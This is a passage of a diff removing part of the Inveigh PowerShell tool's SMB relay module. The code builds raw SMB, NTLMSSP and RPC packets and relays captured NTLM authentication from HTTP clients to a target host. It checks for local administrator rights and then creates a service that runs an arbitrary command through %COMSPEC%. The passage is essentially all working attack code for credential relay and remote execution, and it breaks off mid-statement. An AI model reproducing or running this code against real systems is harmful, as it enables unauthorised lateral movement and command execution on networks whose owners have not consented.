- $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - if($packet_call_ID -eq 3) - { - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - return $packet_RPCBind - } - - function Get-PacketRPCRequest() - { - param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) - - if($packet_auth_length -gt 0) - { - $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 - } - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) - [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) - $packet_auth_length = $packet_auth_length[0,1] - - $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) - $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) - $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) - $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) - $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) - $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) - $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) - $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) - - if($packet_data.Length) - { - $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) - } - - return $packet_RPCRequest - } - - #SCM - - function Get-PacketSCMOpenSCManagerW() - { - param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) - $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID1 += 0x00,0x00 - $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID2 += 0x00,0x00 - - $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) - - return $packet_SCMOpenSCManagerW - } - - function Get-PacketSCMCreateServiceW() - { - param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, - [Byte[]]$packet_command,[Byte[]]$packet_command_length) - - $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID += 0x00,0x00 - - $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SCMCreateServiceW - } - - function Get-PacketSCMStartServiceW() - { - param([Byte[]]$packet_context_handle) - - $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) - $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SCMStartServiceW - } - - function Get-PacketSCMDeleteServiceW() - { - param([Byte[]]$packet_context_handle) - - $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) - - return $packet_SCMDeleteServiceW - } - - function Get-PacketSCMCloseServiceHandle() - { - param([Byte[]]$packet_context_handle) - - $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) - - return $packet_SCM_CloseServiceW - } - -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge -$SMB_NTLM_functions_scriptblock = -{ - function SMBNTLMChallenge - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - -} - -# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target -$SMB_relay_challenge_scriptblock = -{ - function SMBRelayChallenge - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version) - - if($SMB_relay_socket) - { - $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() - } - - $SMB_client_receive = New-Object System.Byte[] 1024 - $SMB_client_stage = 'NegotiateSMB' - - :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'NegotiateSMB' - { - $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 - $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version = 'SMB1' - $SMB_client_stage = 'NTLMSSPNegotiate' - } - else - { - $SMB_client_stage = 'NegotiateSMB2' - } - - if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) - { - $inveigh.console_queue.Add("SMB relay disabled due to SMB signing requirement on $Target") - $SMB_relay_socket.Close() - $SMB_client_receive = $null - $inveigh.SMB_relay = $false - $SMB_client_stage = 'exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") - } - - } - - } - - 'NegotiateSMB2' - { - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_message_ID = 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' - } - - } - - } - - return $SMB_client_receive - } - -} - -# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target -$SMB_relay_response_scriptblock = -{ - function SMBRelayResponse - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) - - $SMB_client_receive = New-Object System.Byte[] 1024 - - if($SMB_relay_socket) - { - $SMB_relay_response_stream = $SMB_relay_socket.GetStream() - } - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID - $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $SMB2_message_ID = 3 - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_relay_response_stream.Flush() - $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - } - else - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") - $SMB_relay_failed = $true - $SMB_relay_socket.Close() - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - } - - if(!$SMB_relay_failed) - { - - if(!$Service) - { - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00-00-00' - $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $SMB_service = $Service - $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) - - if([Bool]($SMB_service.Length % 2)) - { - $SMB_service_bytes += 0x00,0x00 - } - else - { - $SMB_service_bytes += 0x00,0x00,0x00,0x00 - - } - - } - - $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) - $Command = "%COMSPEC% /C `"" + $Command + "`"" - [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$PsExec_command += "{0:X2}-00-" -f $_} - - if([Bool]($Command.Length % 2)) - { - $PsExec_command += '00-00' - } - else - { - $PsExec_command += '00-00-00-00' - } - - $PsExec_command_bytes = $PsExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $PsExec_command_length_bytes = [System.BitConverter]::GetBytes($PsExec_command_bytes.Length / 2) - - $SMB_path = "\\" + $Target + "\IPC$" - - if($SMB_version -eq 'SMB1') - { - $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 - } - else - { - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) - } - - $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 - $SMB_client_stream = $SMB_relay_socket.GetStream() - $SMB_split_index = 4256 - - if($SMB_version -eq 'SMB1') - { - $SMB_client_stage = 'TreeConnectAndXRequest' - - :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnectAndXRequest' - { - $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'CreateAndXRequest' - } - - 'CreateAndXRequest' - { - $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl - $SMB_tree_ID = $SMB_client_receive[28,29] - $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_FID = $SMB_client_receive[42,43] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadAndXRequest' - { - Start-Sleep -m 150 - $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBReadAndXRequest - $packet_SMB_data["SMBReadAndXRequest_FID"] = $SMB_FID - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = $SMB_client_stage_next - } - - 'OpenSCManagerW' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - $SMB_service_manager_context_handle = $SMB_client_receive[88..107] - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - 